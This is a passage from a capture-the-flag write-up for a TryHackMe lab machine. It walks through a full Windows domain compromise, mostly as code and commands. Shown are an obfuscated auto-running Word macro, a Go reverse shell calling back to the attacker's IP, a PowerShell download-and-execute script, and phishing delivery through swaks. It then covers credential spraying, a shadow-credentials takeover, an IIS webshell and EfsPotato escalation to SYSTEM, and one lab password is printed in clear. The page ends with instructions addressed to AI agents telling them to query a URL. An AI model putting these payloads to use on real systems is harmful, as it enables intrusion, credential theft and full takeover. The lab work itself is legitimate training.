        j = i Mod Len(k) + 1
        kv = Asc(Mid(k, j, 1))
        res2 = res2 + Chr(equation(i) Xor kv)
    Next
    Eval = res2
End Function
Sub Test()

a = 266
b = 270
c = 90
d = 235
dd = 80
E = "run"
f = "txt"

r = Array(Str(a - 256), Str(b - 256), Str(c), Str(d))
f = Comb(r) + ":" + Trim(Str(dd)) + "/" + Comb(Array(E, f))

s = Trim(Eval(Pre())) + f + Eval(Post2())
i = Eval(Source())
j = Eval(Dest())
GetObject(i).Get(j).Create s, Null, Null, -1
' MsgBox (s)

End Sub
Sub AutoOpen()
    Test
End Sub
```

{% endcode %}

The Go program to get a reverse shell looks like the following.&#x20;

{% code title="0xb0b.go" overflow="wrap" lineNumbers="true" %}

```go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.14.90.235:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

```

{% endcode %}

This needs to be compiled on a Windows host.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbkviVrShABqH3eDb1FIu%2Fgrafik.png?alt=media&#x26;token=bfad20d4-66e0-4921-93c0-4ba87bae774e" alt=""><figcaption></figcaption></figure>

The `run.txt` which contains the powershell script to download and run the reverse shell binary.

{% code title="run.txt" overflow="wrap" lineNumbers="true" %}

```powershell
$url = "http://10.14.90.235/0xb0b.exe"
$filePath = "$env:temp\0xb0b.exe"
Invoke-WebRequest -Uri $url -OutFile $filePath
if (Test-Path $filePath) {
    Start-Process -FilePath $filePath -NoNewWindow
} else {
    Write-Host "Download failed. File not found at $filePath"
}
```

{% endcode %}

We use swaks to send the document and have a listener set up on port `4445` and an `http` server on port `80` to serve the `run.txt` and `0xb0b.exe`.

```
swaks --to 'snowflakes.crawler@socmas.corp' \
      --from 'developer@test.corp' \
      --header 'RE: Request for Account Details to Identify Non-Personal Accounts' \
      --body 'Here is the Document!' \
      --attach-type application/octet-stream \
      --attach @krampus.docm\
      --server socmas.corp \
      --port 587 \
      --timeout 20s \
      --auth LOGIN \
      --auth-user developer@test.corp \
      --auth-password REDACTED

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKAWSJvRgQHuK1btpg8gZ%2Fgrafik.png?alt=media&#x26;token=30e924a0-db2a-437b-9ae7-aa226782a681" alt=""><figcaption></figcaption></figure>

After sending the mail, we get a reply from `snowflakes.crawler`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRGOUlzA0CowgOYpEOY9R%2Fgrafik.png?alt=media&#x26;token=770bcc79-8af6-4c88-b9de-643fd5bc30f6" alt=""><figcaption></figcaption></figure>

A request to our http server to download run.txt and `0xb0b.exe`, which eventually crashes.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOxSmG09ZSPXbgsctr81o%2Fgrafik.png?alt=media&#x26;token=8ce7a0c9-47fe-43be-b95e-288ec43d025b" alt=""><figcaption></figcaption></figure>

And a connection back on our listener. We are the user scrawler.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqJhYIthQWFEuFYS6m71A%2Fgrafik.png?alt=media&#x26;token=afe6d331-d332-4156-ac93-5770d64cf4e5" alt=""><figcaption></figcaption></figure>

### User Flag

The user flag is on the user's desktop. Unfortunately it is only a domain user. Next we need to enumerate the target.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo5cAyFOpwiNibfS3LrO0%2Fgrafik.png?alt=media&#x26;token=dec3697a-26b1-4a55-a61e-cc8ea8ec5529" alt=""><figcaption></figcaption></figure>

### Credentials

To deliver our tools to the target we use the impacket-smbserver.&#x20;

```
impacket-smbserver smbFolder $(pwd) -smb2support -username test -password test123
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo7FEjaH6mCglb0aFl3vF%2Fgrafik.png?alt=media&#x26;token=4a350f1a-f721-445c-9533-62f411718e7e" alt=""><figcaption></figcaption></figure>

We map the ~~\\\10.14.90.235\smbFolder~~ network share to the `x:` drive on the local system, using the `user:test` and password `test123` that we have chosen.

```
net use x: \\10.14.90.235\smbFolder /user:test test123
```

Next, we use the latest version of PrivescCheck to enumerate the target machine, which does not get detected by the AV.&#x20;

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

{% code overflow="wrap" %}

```
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVReKW9Z35SfDlhhnAgN9%2Fgrafik.png?alt=media&#x26;token=fb74b509-decf-4a8e-b789-b9182b5c97fd" alt=""><figcaption></figcaption></figure>

After running the command we get an html file with the results. We copy those to our share.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9eAg1OVgdNVwycgjc4ij%2Fgrafik.png?alt=media&#x26;token=db5e365b-aa03-423f-93c6-b99b63dd93f7" alt=""><figcaption></figcaption></figure>

And we find some WinLogon credentials for our current user.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhOBUyd9OY0chiY8a6m3X%2Fgrafik.png?alt=media&#x26;token=be487901-636e-4afa-961f-629e9ff30df0" alt=""><figcaption></figcaption></figure>

### Portforwarding

Examining the internal ports with `netstat -ano`, we find the LDAP port `389` and the DC-related port `88`, which we need to enumerate the machine with bloodhound-python.

```
netstat -ano
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fdha99JoocJl3EmKsS6XV%2Fgrafik.png?alt=media&#x26;token=af46b751-eaec-4948-87c7-6e44eb21fa12" alt=""><figcaption></figcaption></figure>

Next, we forward the ports using Chisel.

{% embed url="<https://github.com/jpillora/chisel>" %}

The latest version v1.10.1 is not detected. First, we start a Chisel server on our attacker's machine.

```
./chisel server -reverse --port 51234
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzeP6a1jXpC0oREG1nYKu%2Fgrafik.png?alt=media&#x26;token=eee0c91b-3184-4499-a47a-d8c23663fa93" alt=""><figcaption></figcaption></figure>

Next, we copy the chisel.exe using our share and forward at least the ports `389` and `88` to enumerate the DC.&#x20;

{% code overflow="wrap" %}

```
./chisel.exe client 10.14.90.235:51234 R:389:127.0.0.1:389 R:88:127.0.0.1:88 R:53:127.0.0.1:53 R:3268:127.0.0.1:3268

```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwT36kYUwmvML5jnFJvZi%2Fgrafik.png?alt=media&#x26;token=54c614e7-d96d-45f8-8c9f-2517d2380f88" alt=""><figcaption></figcaption></figure>

## Gathering More Information

Since we have now LDAP available we use `ldapdomaindump` with the credentials we have now.

{% embed url="<https://github.com/dirkjanm/ldapdomaindump>" %}

```
python ldapdomaindump.py -u 'socmas\scrawler' -p REDACTED 127.0.0.1
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI1TALVg0D0wOwq2SY72S%2Fgrafik.png?alt=media&#x26;token=ba501e77-e7d1-4ec9-9dc4-84425daeaa90" alt=""><figcaption></figcaption></figure>

After running `ldapdomaindump` we find the credentials of the user `Winterberry_Locksmith`. Another Domain user we see in the bloodhound results. But more on that later.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5bOLaL20Nv2M1mvdtpY3%2Fgrafik.png?alt=media&#x26;token=77cac79c-89db-46e5-b59f-e4262c694557" alt=""><figcaption></figcaption></figure>

Since we have some usernames from the rid brute-force and that password, we test those using NetExec if those were reused.

{% code overflow="wrap" %}

```
nxc smb socmas.corp -u usernames.txt -p 'REDACTED' --continue-on-success
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVUPkuX3pr67Dcglfj8N0%2Fgrafik.png?alt=media&#x26;token=9884b309-534d-4f21-a802-29844f132cd0" alt=""><figcaption></figcaption></figure>

And we get a hit for the user Krampus\_Debugger and...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FklUgbv5F6XQb39D009vf%2Fgrafik.png?alt=media&#x26;token=d7573440-993b-4b0c-80ab-519639080bed" alt=""><figcaption></figcaption></figure>

... KrampusIIS. This is really promising. Since an IIS user might contain the privileges to write to the `C:\inetpub\wwwroot` folder. And we already know there is a website hosted on port `80`.&#x20;

We explain exactly what this means in the attack path analysis. This is not the end of the story, because we cannot access the machine as IISKrampus using WinRM and we cannot enumerate shares. Possibly a false positive here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8bWwimwM6aR37eFHEUUU%2Fgrafik.png?alt=media&#x26;token=c2086deb-9daa-4cc9-92e7-75d8befa9921" alt=""><figcaption></figcaption></figure>

With the scrawler credentials and the forwarded ports, we can now use bloodhound python. To fake the DNS queries and avoid any problems, we use dnschef beforehand.

```
dnschef --fakeip 127.0.0.1
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgL7cakXGtbyBHCNnKF6U%2Fgrafik.png?alt=media&#x26;token=6c5f498b-fb20-4db6-bca8-43a5335634a6" alt=""><figcaption></figcaption></figure>

Now we can use bloodhound python with the user scrawler's credentials to gather the juicy information.

{% code overflow="wrap" %}

```
bloodhound-python -d socmas.corp -c All -u 'scrawler' -p 'REDACTED' -dc 127.0.01 -ns 127.0.0.1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPDXB6cR4Y2ZRglSD5TDO%2Fgrafik.png?alt=media&#x26;token=bd95d889-78bf-440d-8ae6-6b269c72336a" alt=""><figcaption></figcaption></figure>

## Attack Path Analysis

We see that the user scrawler is just a domain user, and does not control anything.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMsOBDxjeTtQU3KdsltX8%2Fgrafik.png?alt=media&#x26;token=3916308c-a7ab-423a-99ba-08cd4390560e" alt=""><figcaption></figcaption></figure>

But we also found the credentials of the user KRAMPUS\_DEBUGGER. This user has GenericWrite permissions on KRAMPUS\_SHADOW.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs3gSONQKcjwZI3FYkhY4%2Fgrafik.png?alt=media&#x26;token=f1f338a2-1571-4cea-9458-21bf2cde3bea" alt=""><figcaption></figcaption></figure>

GenericWrite means that we can either do a targetedKerberoast attack on the target or make use of the Shadow Credentials attack using pyWhiskers. All suggested by Bloodhound.

The **Shadow Credentials attack** using tools like `pyWhiskers` is a technique to abuse Microsoft Active Directory Certificate Services (AD CS) to escalate privileges or maintain persistence within a network.

**Shadow Credentials** allows us to take over an account in an Active Directory environment without directly modifying the account's attributes or password.&#x20;

{% embed url="<https://github.com/ShutdownRepo/pywhisker?tab=readme-ov-file#add-new-values>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fhg7ltOzoebYke8s5eOZG%2Fgrafik.png?alt=media&#x26;token=c0bd5f5a-f014-433d-b304-a49896adbbb2" alt=""><figcaption></figcaption></figure>

Furthermore, the KRAMPUS\_SHADOW is member of the <KRAMPUSIIS@SOCMAS.CORP> Group.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFYs9NXPofZA0G1bbtBmG%2Fgrafik.png?alt=media&#x26;token=33653813-f5c1-4a7e-9b9d-b43aff1f4713" alt=""><figcaption></figcaption></figure>

And the <KRAMPUSIIS@SOCMAS.CORP> group is part of the REMOTE MANAGEMENT USERS GROUP, which allows us to log in to the machine using WinRM if we have the user's credentials or hash.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUSRUpQ1YdtoC7xFTas7I%2Fgrafik.png?alt=media&#x26;token=302604c1-d9b1-4ec4-b7da-eceb98ada953" alt=""><figcaption></figcaption></figure>

So the idea now is to use the shadow credential attack on the user KRAMPUS\_SHADOW with the credentials we have from KRAMPUS\_DEBUGGER. This will allow us to request a certificate impersonating that user, which we can then use to recover the NT hash.

With the NT hash we are able to log in to the machine using WinRM. As the user is part of the KRAMPUSIIS group, this user will be able to write to C:\inetpub/wwwroot.

We'll try to place a webshell there to get access as an IIS apppool, which will most likely have the SeImpersonate privilege set. This can be easily exploited with a potato exploit to get NT AUTHORITY SYSTEM.

## Shell as Krampus\_Shadow

With the credentials of KRAMPUS\_DEBUGGER we run the pywhiskers exploit.

{% embed url="<https://github.com/ShutdownRepo/pywhisker>" %}

First we test the exploit via `--action list`.

{% code overflow="wrap" %}

```
python /opt/pywhisker/pywhisker/pywhisker.py -d 'socmas' -u 'KRAMPUS_DEBUGGER' -p 'REDACTED' --target 'KRAMPUS_SHADOW' --action 'list'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ful6pWESWzLOKbSpRRanT%2Fgrafik.png?alt=media&#x26;token=4462de7c-f7b4-450d-8778-a0922b8c3b0d" alt=""><figcaption></figcaption></figure>

Then we add new vlaues:&#x20;

> pyWhisker has the ability to generate RSA keys, a X509 certificate, a KeyCredential structure, and to write the necessary information as new values of the `msDs-KeyCredentialLink` attribute. The certificate can be exported in a PFX format (#PKCS12, certificate + private key protected with a password) or in a PEM format (PEM certificate, PEM private key, no password needed).

{% code overflow="wrap" %}

```
python /opt/pywhisker/pywhisker/pywhisker.py -d 'socmas' -u 'KRAMPUS_DEBUGGER' -p 'ChristmasAoC2024!' --target 'KRAMPUS_SHADOW' --action 'add'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FARhImedRAHtqjVxL4dz9%2Fgrafik.png?alt=media&#x26;token=210e6350-141b-485e-87e4-c22d7f044501" alt=""><figcaption></figcaption></figure>

This will create us a certificate. In this case `4YomZolE.pfx`.

{% embed url="<https://github.com/dirkjanm/PKINITtools/tree/master>" %}

> Once the values are generated and added by pyWhisker, a TGT can be request with [gettgtpkinit.py](https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py). The NT hash can then be recovered with [getnthash.py](https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py).

Next, we request a TGT.

{% code overflow="wrap" %}

```
python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx 4YomZolE.pfx -pfx-pass AGqHhZ5GKISnkSNpvhDk socmas/KRAMPUS_SHADOW KRAMPUS_SHADOW.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FikbGLERwROfybWsO3Bl1%2Fgrafik.png?alt=media&#x26;token=61e8ea78-c904-42db-a3d3-ca76f5a12d2e" alt=""><figcaption></figcaption></figure>

And use that TGT to recover the NT hash.

```
export KRB5CCNAME=KRAMPUS_SHADOW.ccache
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fow4gyhUFev9GilConjmw%2Fgrafik.png?alt=media&#x26;token=117295cf-4266-4191-af1d-f8fb84f1f19b" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
python3 /opt/PKINITtools/getnthash.py -key 8b52e845a474cad8b8bbe65913fde86404a0d306a427c4247bf0320166144dd4 socmas/KRAMPUS_SHADOW
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrudtcA80tZhMaLRkm8eV%2Fgrafik.png?alt=media&#x26;token=e256c815-c0b0-4194-8b39-b72222b7b884" alt=""><figcaption></figcaption></figure>

We can now use the recovered NT hash to log in via evil-winrm, as the user KRAMPUS\_SHADOW is part of the REMOTE MANAGEMENT USERS GROUP.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7jsDrMwKICfHIjfXUsre%2Fgrafik.png?alt=media&#x26;token=974ce764-e94d-40d0-93ff-c3642915342a" alt=""><figcaption></figcaption></figure>

## Shell as IIS apppool

At `C:\inetpub\wwwroot\Views\Home\Index.cshtml` we find the login page. Inspecting the page with a browser, we find the cookie set and identify the web application as an asp.net application.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsE1xg66J3z8ZWZ9NYIes%2Fgrafik.png?alt=media&#x26;token=189bfe35-706c-4a38-b61d-0dff666d3f8a" alt=""><figcaption></figcaption></figure>

With a quick research we find the following webshell.&#x20;

{% embed url="<https://github.com/niemand-sec/RazorSyntaxWebshell/blob/master/webshell.cshtml>" %}

We prepare the content of `Index.cshtml` on the attacker machine; to initially test the execution, we just query a simple whomai.

{% code title="Index.cshtml" lineNumbers="true" %}

```
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

	string ExecuteCommand(string command, string arguments = null)
	{
		var output = new System.Text.StringBuilder();
		var process = new Process();
		var startInfo = new ProcessStartInfo
		{
			FileName = command,
			Arguments = arguments,
			WorkingDirectory = HttpRuntime.AppDomainAppPath,
			RedirectStandardOutput = true,
			RedirectStandardError = true,
			UseShellExecute = false
		};

		process.StartInfo = startInfo;
		process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
		process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

		process.Start();
		process.BeginOutputReadLine();
		process.BeginErrorReadLine();
		process.WaitForExit();

		return output.ToString();
	}
}

@{
	var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}

Output of the injected command (by Niemand):
	@cmd

```

{% endcode %}

To upload the Index.cshtml we make use of the upload utility of evil-WinRM.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJyAG82aF1DuKJvGBYCad%2Fgrafik.png?alt=media&#x26;token=15f26ec7-9aea-4c47-a0af-b6e3548dc0ab" alt=""><figcaption></figcaption></figure>

By requesting the index page we see that we are the `iis apppool\defaulapppool` user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmrYV4n3ga79sVYdNQF1P%2Fgrafik.png?alt=media&#x26;token=7f200ce6-368b-45d9-a600-9cf21d03b49d" alt=""><figcaption></figcaption></figure>

We now prepare a web shell that will run the binary written in Go that we have already used to get a foothold. We place this accessible to the apppoluser at `C:\inetpub\wwwroot\Views\Home\0xb0b.exe`.

{% code title="0xb0b.go" overflow="wrap" lineNumbers="true" %}

```go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.14.90.235:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

```

{% endcode %}

The web shell will simply run the binary. We again prepare a listener on port `4445`.

{% code title="Index.cshtml" lineNumbers="true" %}

```html
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

	string ExecuteCommand(string command, string arguments = null)
	{
		var output = new System.Text.StringBuilder();
		var process = new Process();
		var startInfo = new ProcessStartInfo
		{
			FileName = command,
			Arguments = arguments,
			WorkingDirectory = HttpRuntime.AppDomainAppPath,
			RedirectStandardOutput = true,
			RedirectStandardError = true,
			UseShellExecute = false
		};

		process.StartInfo = startInfo;
		process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
		process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

		process.Start();
		process.BeginOutputReadLine();
		process.BeginErrorReadLine();
		process.WaitForExit();

		return output.ToString();
	}
}

@{
	var cmd = ExecuteCommand("cmd.exe", "/c C:\inetpub\wwwroot\Views\Home\0xb0b.exe");
}

Output of the injected command (by Niemand):
	@cmd

```

{% endcode %}

We upload the Index.cshtml...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fpq5JuP9jAt8mRvUsDSSb%2Fgrafik.png?alt=media&#x26;token=74034c4c-a418-4a13-8a38-29b96481f570" alt=""><figcaption></figcaption></figure>

Query the index page...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FneinkGhN0ub9BNkKzamh%2Fgrafik.png?alt=media&#x26;token=e081cf77-a439-4fa2-8658-016e3c4986da" alt=""><figcaption></figcaption></figure>

And get a connection back as `iis apppool\default apppool`. This user has the `SeImpersonatePrivilege` enabled.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKkDcz658VpuhH3iMK2We%2Fgrafik.png?alt=media&#x26;token=9900158f-f147-46f0-967f-ee6b8b27e714" alt=""><figcaption></figcaption></figure>

## Shell as NT Authority System

The `SeImpersonatePrivilege` is a powerful Windows privilege that allows a user or process to impersonate another user's security context. There are several potato exploits for this. Since the AV is very strict, we try the EfsPotato exploit. This needs to be compiled on the target system.

{% embed url="<https://github.com/zcgonvh/EfsPotato>" %}

Use our SMB share again to transfer the source code.

```
net use x: \\10.14.90.235\smbFolder /user:test test123
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fuer54FvdkYr6kmot1OGe%2Fgrafik.png?alt=media&#x26;token=f0173889-582e-4f89-a35b-9bfb2f5e750a" alt=""><figcaption></figcaption></figure>

```
copy x:\EfsPotato\EfsPotato.cs .
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Feg3Hqmva76r3Dgpr1nn1%2Fgrafik.png?alt=media&#x26;token=925a6a46-fe78-413b-a420-da510d0aca5b" alt=""><figcaption></figcaption></figure>

We look for a csc compiler on the machine at `C:\Windows\Microsoft.Net\Framework\`.&#x20;

To compile the binary we issue the following command like suggested in the repository.

```
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYuKtOQtgNcwCm6jIr3O8%2Fgrafik.png?alt=media&#x26;token=5680557c-4eed-4e08-91bb-04beb2c25e8e" alt=""><figcaption></figcaption></figure>

{% code title="0xb0b.go" overflow="wrap" lineNumbers="true" %}

```
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.14.90.235:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

```

{% endcode %}

We issue the follwoing command to execute the reverse shell binary in the context of NT Authority System.

```
C:\Windows\Temp\EfsPotato.exe C:\Users\TEMP\Documents\0xb0b.exe
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fzyp9xrYXUfaHPwaIGrgH%2Fgrafik.png?alt=media&#x26;token=1059077e-2a65-4850-833e-bc80aa19bb12" alt=""><figcaption></figcaption></figure>

We get a connection back to our listener and are NT Authroity System. We cannot find the root flag at `C:\Users\Administrator\Desktop`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzT6kfLdpvy5o5IfNEH4J%2Fgrafik.png?alt=media&#x26;token=b1941078-4e90-4d93-b2ec-4a65ae352d17" alt=""><figcaption></figcaption></figure>

We query `tree /f`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fmj94puMiNee6jX84J8Xu%2Fgrafik.png?alt=media&#x26;token=c9f5c724-a2c4-4b64-aada-927e752c81f2" alt=""><figcaption></figcaption></figure>

And find the final flag at Krampus\_Proxy Desktop.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkA5ah7kkogo4sPSjmatS%2Fgrafik.png?alt=media&#x26;token=a65fb33e-b127-4ed8-b065-951c9e1bedc2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FneAmIqGS64X0VRY5kN2q%2Fgrafik.png?alt=media&#x26;token=76a6f4ac-4abb-4650-89a7-b7c0a15e2de6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/advent-of-cyber-24-side-quest/t4-krampus-festival.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
